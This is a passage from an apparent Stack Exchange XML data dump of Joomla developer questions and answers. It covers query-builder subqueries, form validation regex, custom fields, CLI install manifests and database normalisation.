'price' =&amp;gt; '21000',&#xA;    'color' =&amp;gt; 'silver',&#xA;  ),&#xA;  2 =&amp;gt; &#xA;  array (&#xA;    'name' =&amp;gt; 'Mary',&#xA;    'make' =&amp;gt; 'Seat',&#xA;    'price' =&amp;gt; '4200',&#xA;    'color' =&amp;gt; 'green',&#xA;  ),&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some parting words:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I would have expected the tables in the question to have names Joomla's random prefix characters.  Using these prefixes is best practice and adjusting the Joomla query builder syntax only means prepending &lt;code&gt;#__&lt;/code&gt; like &lt;code&gt;#__cars&lt;/code&gt; and &lt;code&gt;#__persons&lt;/code&gt; which would associate with tables that &lt;em&gt;could&lt;/em&gt; be named &lt;code&gt;abcde_cars&lt;/code&gt; and &lt;code&gt;abcde_persons&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If anyone is hell-bent on writing terse code, the &lt;code&gt;$bmw_subquery&lt;/code&gt; subquery can be generated by cloning the &lt;code&gt;$all_subquery&lt;/code&gt; subquery then chaining the additional where clause condition.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$all_subquery = $db-&amp;gt;getQuery(true)&#xA;                   -&amp;gt;select(&quot;MIN(price)&quot;)&#xA;                   -&amp;gt;from(&quot;cars&quot;)&#xA;                   -&amp;gt;where(&quot;personid = p.id&quot;);&#xA;&#xA;$bmw_subquery = (clone($all_subquery))-&amp;gt;where(&quot;make = &quot; . $db-&amp;gt;q(&quot;BMW&quot;));&#xA;//              ^--------------------^-- parentheses are essential&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select(&quot;name, make, price, color&quot;)&#xA;            -&amp;gt;from(&quot;persons p&quot;)&#xA;            -&amp;gt;innerJoin(&quot;cars ON p.id = personid&quot;)&#xA;            -&amp;gt;where(&quot;price = IFNULL(($bmw_subquery), ($all_subquery))&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*The parentheses are required so that you &quot;clone then chain&quot; instead of &quot;chaining to the original then cloning&quot;. If you remove the parentheses, you will find that both subqueries will be identical and both will include &lt;code&gt;AND make = 'BMW'&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-01-28T02:48:11.837" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24149" PostTypeId="2" ParentId="24144" CreationDate="2019-01-28T04:07:23.217" Score="1" Body="&lt;p&gt;Would you not have joy with adding &lt;code&gt;required&lt;/code&gt; as an additional class on the field?  On the &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Client-side_form_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/Client-side_form_validation&lt;/a&gt; doc page, &lt;code&gt;&amp;lt;field name=&quot;email&quot; type=&quot;text&quot; class=&quot;required validate-email&quot; size=&quot;30&quot; /&amp;gt;&lt;/code&gt; suggests that you could just add &lt;code&gt;required&lt;/code&gt; to the end of &lt;code&gt;class=&quot;validate-myemail gngcontact&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your javascript, I just have a couple of notes to follow my snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  jQuery(document).ready(function() {&#xA;    document.formvalidator.setHandler('myemail', function(value) {&#xA;      alert(&quot;Validating value: &quot; + value);&#xA;      let regex=/^(?:&quot;[^&quot;]+&quot;|[^&amp;lt;&amp;gt;()[\]\\.,;:\s@&quot;]+(?:\.[^&amp;lt;&amp;gt;()[\]\\.,;:\s@&quot;]+)*)@(?:\[\d{1,3}(?:\.\d{1,3}){3}]|(?:[a-z\d-]+\.)+[a-z]{2,})$/i;&#xA;      let result = regex.test(value);&#xA;      if (result) {&#xA;          JQuery(&quot;input[name='email']&quot;).hide();&#xA;      } else {&#xA;          JQuery(&quot;input[name='email']&quot;).show();&#xA;      }&#xA;      return result;&#xA;    });&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You had a few extra capture groups that were not necessary to maintain the regex pattern logic -- so I removed them&lt;/li&gt;&#xA;&lt;li&gt;I converted capturing groups to non-capturing groups to convey that there is no intention of returning any of the substrings in the output.  This is more of a matter of personal preference; it doesn't improve efficiency and it actually makes the pattern longer by adding &lt;code&gt;?:&lt;/code&gt; after each &lt;code&gt;(&lt;/code&gt; -- so you can ignore this adjustment if you wish&lt;/li&gt;&#xA;&lt;li&gt;Opening square braces inside of a character class do not need to be escaped. Hyphens don't need to be escaped if they are the first or last character in the declaration or if they follow a &quot;range of characters&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\d&lt;/code&gt; is the same as &lt;code&gt;0-9&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can use &lt;code&gt;[a-z]&lt;/code&gt; to cover all alphabetical characters if you append the &lt;code&gt;i&lt;/code&gt; modifier to the end of your pattern&lt;/li&gt;&#xA;&lt;li&gt;Probably the best piece of advice is for you to use a negated character class with &lt;code&gt;&quot;&lt;/code&gt; and a greedy quantifier to enable best efficiency.  This may not have much impact on this script, but it is a best practice that not everyone knows about.  &lt;code&gt;&quot;.+&quot;&lt;/code&gt; is not the same as &lt;code&gt;&quot;[^&quot;]+&quot;&lt;/code&gt;.  The former, in some scenarios, will &quot;overmatch&quot;.  The latter behaves like &lt;code&gt;&quot;.+?&quot;&lt;/code&gt; but is more efficient.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a pattern demo, if you want to see the official breakdown or test any input strings: &lt;a href=&quot;https://regex101.com/r/sua8lS/1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://regex101.com/r/sua8lS/1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if I have your selectors right, but jQuery affords you to implement the literal &lt;code&gt;show()&lt;/code&gt; and &lt;code&gt;hide()&lt;/code&gt; actions -- which is very easy on the eyes.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-01-28T04:07:23.217" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24151" PostTypeId="1" CreationDate="2019-01-28T05:54:59.827" Score="0" ViewCount="314" Body="&lt;p&gt;&lt;strong&gt;jQuery is not loading in new window in Joomla&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page &lt;code&gt;default.php&lt;/code&gt; in component module.&#xA;&lt;code&gt;default.php&lt;/code&gt; contains&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;$document = JFactory::getDocument();&#xA;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;default.php&lt;/code&gt; jQuery is successfully loaded and in console shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery().jquery;&#xA;&quot;1.12.4&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In my  &lt;code&gt;default.php&lt;/code&gt; file I have a link, when I click that link it open a new window.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.open(&quot;?view=report&amp;amp;format=raw&amp;amp;uid=&quot; + ibonum, 'myWin', 'toolbar=no, directories=no, location=no, status=no, menubar=no, resizable=yes, scrollbars=yes, width=960, height=741');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In that page I use the code to load jquery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;$document = JFactory::getDocument();&#xA;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But here (new window) jQuery is not loaded. Console shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery().jquery;&#xA; Uncaught ReferenceError: jQuery is not defined&#xA;    at &amp;lt;anonymous&amp;gt;:1:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And also here &lt;code&gt;$document-&amp;gt;addScript&lt;/code&gt; is also not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so my question is: &lt;strong&gt;How I load jQuery in new window i Joomla?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My joomla version is  &lt;code&gt;3.9.2&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="13285" LastActivityDate="2019-01-28T10:15:02.547" Title="jQuery is not loading in new window in Joomla" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24153" PostTypeId="2" ParentId="24151" CreationDate="2019-01-28T07:29:25.613" Score="1" Body="&lt;p&gt;This is expected. As indicated by &lt;code&gt;format=raw&lt;/code&gt; parameter in the URL, the page you are trying to open is a raw document and not a HTML document. Raw document only renders what's outputted by the component's view.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-01-28T07:29:25.613" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24154" PostTypeId="1" CreationDate="2019-01-28T11:11:51.890" Score="2" ViewCount="302" Body="&lt;p&gt;Perhaps I am not using the Custom Fields properly, but here is my problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a piece of text which appears in a number of different articles.  Rather than have to update each individual article when I need to change the text, I have tried to use a Custom Field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This displays properly in the articles, BUT when I update the Custom Field (default value), the update is NOT reflected in the various articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for more specific detail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a number of different articles.  Each has a specific piece of text which is common to all these articles... lets say the text is &quot;The Current Account Manager is Mr Blog&quot;. &#xA;So I created a Custom Field called 'Account_Mgr, and it has 'Mr Blog' as the default text. &#xA;I have added this field into all the relevant articles {field 1} (or whatever the id is), and I want to periodically change 'Mr Blog' to 'Miss Smith', when the account manager changes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than have to change the same text in multiple articles, when I want to change to 'Miss Smith',  I use the Custom Field, and changed that single Field (from Blog to Smith).&#xA;I was expecting all the articles which had that Custom Field ({ field 1} ) to update automatically, but none of them did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cleared the Joomla and browser cache, I am not using a CDN, and I have tried a different browser... all to no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong, OR should Custom Fields NOT be used in this manner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks, Mike&lt;/p&gt;&#xA;" OwnerUserId="13287" LastEditorUserId="13287" LastEditDate="2019-01-28T12:38:48.933" LastActivityDate="2019-02-10T09:31:55.833" Title="Joomla 3.x - Custom Field automatic updating in article" Tags="|custom-field|joomla-3.9|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24155" PostTypeId="2" ParentId="5456" CreationDate="2019-01-28T13:19:20.097" Score="0" Body="&lt;p&gt;Did you check to confirm that this one site DID NOT have a &lt;code&gt;type&lt;/code&gt; column in the &lt;code&gt;#__users&lt;/code&gt; and/or &lt;code&gt;#__viewlevels&lt;/code&gt; tables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only possible cause that I can fathom is that one (or both, but I doubt it) of those tables gained a &lt;code&gt;type&lt;/code&gt; column as an unintended fluke of development.  Is there any chance that you loaded an extension that made a change to one of these core tables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;ambiguous column error&lt;/strong&gt; can only be generated as a result of multiple tables containing the same column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Lodder has stated, the way to alleviate the error without altering the database is to make explicit declarations of the table name (or table alias) from which the target column belongs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, because Joomla's core files are not written to nominate a tablename before the &lt;code&gt;type&lt;/code&gt; column, it would be advisable to seek out the table with the extra &lt;code&gt;type&lt;/code&gt; column (save a backup of the table), remove the rogue &lt;code&gt;type&lt;/code&gt; column from the table, then run everything and see what breaks when the unexpected column is missing.  This forensic process will be integral in discovering the source of the issue.  Then again, if nothing breaks after removing the column, then the cause will be a mystery, but then the error should be permanently removed.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-01-28T13:19:20.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24157" PostTypeId="1" CreationDate="2019-01-28T13:51:49.900" Score="0" ViewCount="515" Body="&lt;p&gt;I have a component that needs a CLI file for use with cron. Is there a &lt;strong&gt;proper&lt;/strong&gt; way to use the components manifest file to specify that the component includes a CLI file and that CLI file should be placed into the root CLI directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I could easily do this via using the install stub in my components script.php file and just directly copy my file into the correct location, but I was wondering if there was a proper way to do this using the manifest file?&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2021-02-05T13:08:10.217" Title="How to add a CLI file to the /CLI directory as part of a component install" Tags="|component|manifest|cli|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24159" PostTypeId="1" AcceptedAnswerId="24162" CreationDate="2019-01-28T16:47:41.513" Score="1" ViewCount="109" Body="&lt;p&gt;I have made a custom component using &lt;a href=&quot;https://www.component-creator.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.component-creator.com&lt;/a&gt; (which made the process really easy).  I have two fields that are only there to serve as sums of the other fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment in the views I just do a simply calculation and then set the variable as the answer.  This however, does not save it to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It achieves the right results and the user will never know any different, but I was wondering how I could save it to the database.  Would I do this as an onAfterSave plugin, or could I do this in the view I am in, or should I do this in the model?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-01-30T00:28:29.937" Title="Add the values of two fields together and on save put them in another field" Tags="|custom-component|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24160" PostTypeId="1" AcceptedAnswerId="24165" CreationDate="2019-01-28T23:01:49.707" Score="1" ViewCount="114" Body="&lt;p&gt;I'm a bit of a Joomla noob so hopefully this is an easy problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a Joomla 3.8.11 website using J2Store 3.3.0, and the client wants to add the SKU values to the product aliases. Specifically we want the alias generation procedure to be like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make alias based on title in the usual way;&#xA;if (SKU is set):&#xA;  append SKU to the alias;&#xA;check for duplicates in the usual way;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We want everything else to behave the same way, we only want to append a value to the alias when it's being automatically generated. Is there a simple way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tried so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking at the MVC Component tutorial and they subclass JModelAdmin and then override the save() function. Their situation has more alterations than mine so it's hard to see what exactly I need, and moreover J2Store is based on f0f so it uses F0FModel instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did find was a class called J2StoreModelOptions that subclasses F0FModel in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./administrator/components/com_j2store/models/options.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with a save($data) function that might be what I need to alter. However I added a console message to the function's body but when I click &quot;Save&quot; on an article's edit page it doesn't get logged, so maybe I'm not in the right place. If someone knows an easier way or if they know that I'm doing something wrong it would be very helpful. (I have submitted a support request to J2Store but we're in different timezones and I would like to resolve this asap, and I will probably still need some help once I've heard a response)&lt;/p&gt;&#xA;" OwnerUserId="13088" LastEditorUserId="13088" LastEditDate="2019-01-28T23:34:37.830" LastActivityDate="2019-01-29T17:09:08.283" Title="Adding SKU to generated aliases in J2Store" Tags="|joomla-3.x|administrator|joomla3.8|alias|fof|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24161" PostTypeId="2" ParentId="17571" CreationDate="2019-01-29T06:01:27.543" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What would be the best way to achieve this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are two pieces of &quot;best practice&quot; that I am compelled to share for this question.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Don't make more trips to the database than you need to.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&#xA;Because your query logic can be baked into a single query, it should be.  The hero to call upon in this instance is &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_find-in-set&quot; rel=&quot;nofollow noreferrer&quot;&gt;FIND_IN_SET()&lt;/a&gt;.  It works in a similar fashion to &lt;code&gt;IN&lt;/code&gt;, but &lt;a href=&quot;https://stackoverflow.com/a/29029406/2943403&quot;&gt;&lt;code&gt;IN&lt;/code&gt; won't work on a comma-delimited column value&lt;/a&gt;.&lt;br&gt;&lt;br&gt;&#xA;Raw Query: (&lt;a href=&quot;https://www.db-fiddle.com/f/65NAFpginxESaBtD1Ke7Pf/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;db-fiddle.com demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT name&#xA;FROM `#__table2`&#xA;WHERE FIND_IN_SET(id, (SELECT classes_attended FROM `#__table1` WHERE id = 1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*This could have been performed as a JOIN instead of a subquery (as shown in the stackoverflow link above my snippet), but I prefer this approach because you only need to relate to a single row one time.&lt;br&gt;&lt;br&gt;&#xA;Joomla/PHP Syntax: (tested locally; includes query dump and error checking)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = 1;&#xA;try {&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $subquery = $db-&amp;gt;getQuery(true)&#xA;                   -&amp;gt;select($db-&amp;gt;qn(&quot;classes_attended&quot;))&#xA;                   -&amp;gt;from($db-&amp;gt;qn(&quot;#__table1&quot;))&#xA;                   -&amp;gt;where($db-&amp;gt;qn(&quot;id&quot;) . &quot; = &quot; . (int)$id);&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select($db-&amp;gt;qn(&quot;name&quot;))&#xA;                -&amp;gt;from($db-&amp;gt;qn(&quot;#__table2&quot;))&#xA;                -&amp;gt;where(&quot;FIND_IN_SET(&quot; . $db-&amp;gt;qn(&quot;id&quot;) . &quot;, (&quot; . $subquery . &quot;))&quot;);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');  // don't show your rendered query to the public&#xA;    if (!$result = $db-&amp;gt;loadColumn()) {&#xA;        echo &quot;&amp;lt;p&amp;gt;No Rows Found&amp;lt;/p&amp;gt;&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;        var_export($result);  // prints indexed single-dimensional array of values&#xA;        echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // don't show $e-&amp;gt;getMessage() to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Normalize your data structure.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&#xA;Using &lt;code&gt;FIND_IN_SET()&lt;/code&gt; is a symptom that your database design is not optimized.&lt;br&gt;&lt;br&gt;&#xA;Don't take my word for it, listen to &lt;a href=&quot;https://stackoverflow.com/users/20860/bill-karwin&quot;&gt;Bill Karwin&lt;/a&gt; -- a man who literally wrote &lt;a href=&quot;http://www.pragprog.com/titles/bksqla/sql-antipatterns&quot; rel=&quot;nofollow noreferrer&quot;&gt;a book about bad SQL coding practices&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can't optimize this query with indexes. This is one of many reasons why storing comma-separated lists of values is a bad idea in a relational database.&lt;br&gt;&lt;br&gt;&#xA;  Source: &lt;a href=&quot;https://stackoverflow.com/a/44183060/2943403&quot;&gt;https://stackoverflow.com/a/44183060/2943403&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Normalizing your data in this case means creating a new table and abstracting the &lt;code&gt;classes_attended&lt;/code&gt; data into rows that contain &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;class_attended&lt;/code&gt;.  Doing so will make your data easier to query and allow you to manufacture more complex queries with greater efficiency.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    id    |    classes_attended&#xA;-----------------------------------&#xA;     1    |        1,3,6,7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    id    |    class_attended&#xA;---------------------------------&#xA;     1    |          1&#xA;     1    |          3&#xA;     1    |          6&#xA;     1    |          7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a beginner's link about &lt;a href=&quot;http://beginnersbook.com/2015/05/normalization-in-dbms/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Normalization&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-01-29T06:01:27.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24162" PostTypeId="2" ParentId="24159" CreationDate="2019-01-29T08:04:13.290" Score="1" Body="&lt;p&gt;Inside your form model, add &lt;code&gt;save()&lt;/code&gt; method. Make any changes you need to data and then call parent method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    $data['fieldC'] = $data['fieldA'] + $data['fieldB'];&#xA;&#xA;    return parent::save($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might want to check if specific data fields are defined, as well as cast them as correct type, to avoid warnings.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-01-29T08:04:13.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24163" PostTypeId="2" ParentId="24157" CreationDate="2019-01-29T09:30:38.257" Score="3" Body="&lt;p&gt;Use &lt;code&gt;file&lt;/code&gt; manifest to install files not belonging to any extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.9&quot; type=&quot;file&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;files_cli_example&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;Example&amp;lt;/author&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;January 2019&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;description&amp;gt;FILES_CLI_EXAMPLE_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;    &amp;lt;fileset&amp;gt;&#xA;        &amp;lt;files target=&quot;cli&quot;&amp;gt;&#xA;            &amp;lt;file&amp;gt;cli_example.php&amp;lt;/file&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;    &amp;lt;/fileset&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create a &lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow noreferrer&quot;&gt;Package&lt;/a&gt; to install the component and custom files at once.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-01-29T09:30:38.257" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24164" PostTypeId="1" AcceptedAnswerId="24168" CreationDate="2019-01-29T12:38:50.990" Score="2" ViewCount="1803" Body="&lt;p&gt;I am searching for a option to integrate Google Reviews in Joomla so that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can show the reviews easily to vistors of the page (e.g. in a module)&lt;/li&gt;&#xA;&lt;li&gt;I can give google these review to show in the search results&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;is where any good plugin to solve that issue?&lt;/p&gt;&#xA;" OwnerUserId="13241" LastEditorUserId="120" LastEditDate="2019-01-29T22:47:53.313" LastActivityDate="2022-12-05T05:48:11.313" Title="How to integrate google reviews into the page?" Tags="|plugin|extensions|google|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24165" PostTypeId="2" ParentId="24160" CreationDate="2019-01-29T16:38:34.323" Score="1" Body="&lt;p&gt;&lt;strong&gt;No,&lt;/strong&gt; there is no simple way to this. At least, &lt;strong&gt;simple&lt;/strong&gt; means a lot of things for everybody here. I will give you some good directions on this however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, J2Store has Simple products, variable products, configurable products, flexible products...etc. So how do you think it's simple? Then there is the content component which handles the articles, quite complex component, J2Store is a different, also very complex component with at least 10 different database tables or more.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you just want to override the content component's core file which is creating the Alias field, then you will lose that override at the next Joomla update. It is better to not doing so. &lt;strong&gt;Thus&lt;/strong&gt;: &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; you have to create a content plugin (google: creating content plugins for Joomla 3) and please also visit this link: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Article alias field is created in &lt;code&gt;yourjoomla/administrator/com_content/models/article.php file&lt;/code&gt; around &lt;code&gt;line 642.&lt;/code&gt; in the code (that is still easy to find. Well, if someone know where to look for this. You can screw things up heavily here though, be careful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; The plugin has to operate on &lt;code&gt;onContentBeforeSave&lt;/code&gt; event. So your function has to operate on that event. Or you can also create a J2Store plugin and do something similar if you want to handle sku creating at article creating together (two different component is working here). So it is a bit complex to figure out from which approach you will have to use. But I think the content plugin is the better choice for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; You have to create a function which gets the &lt;code&gt;database-&amp;gt;j2store products, variants&lt;/code&gt; and so on tables, and gets the &lt;strong&gt;Product data&lt;/strong&gt; (like &lt;code&gt;product_sku&lt;/code&gt;) from these tables, based on &lt;code&gt;product_source_id&lt;/code&gt; which is equal to &lt;code&gt;article_id&lt;/code&gt; and join the query for &lt;code&gt;variant_id&lt;/code&gt; and &lt;code&gt;sku&lt;/code&gt; from variant products to variants table, if your client has these kind of products (it's possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; You can get the &lt;strong&gt;database and db tables&lt;/strong&gt; with &lt;code&gt;$db = JFactory::getDbo();&lt;/code&gt; line and you can create query objects to get the data with &lt;code&gt;$query = $db-&amp;gt;getQuery(true);&lt;/code&gt; . You have to study this a bit here: &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, you just have to put the above together and you are done&lt;/strong&gt; :) I just can wish you good luck for the project and ask higher salary from your client for this project. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I helped you to get some light on how to start with your special project (however the above is not an exhaustive list of tasks at all, it's just a very fast skeleton).&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-29T17:09:08.283" LastActivityDate="2019-01-29T17:09:08.283" CommentCount="14" ContentLicense="CC BY-SA 4.0" />
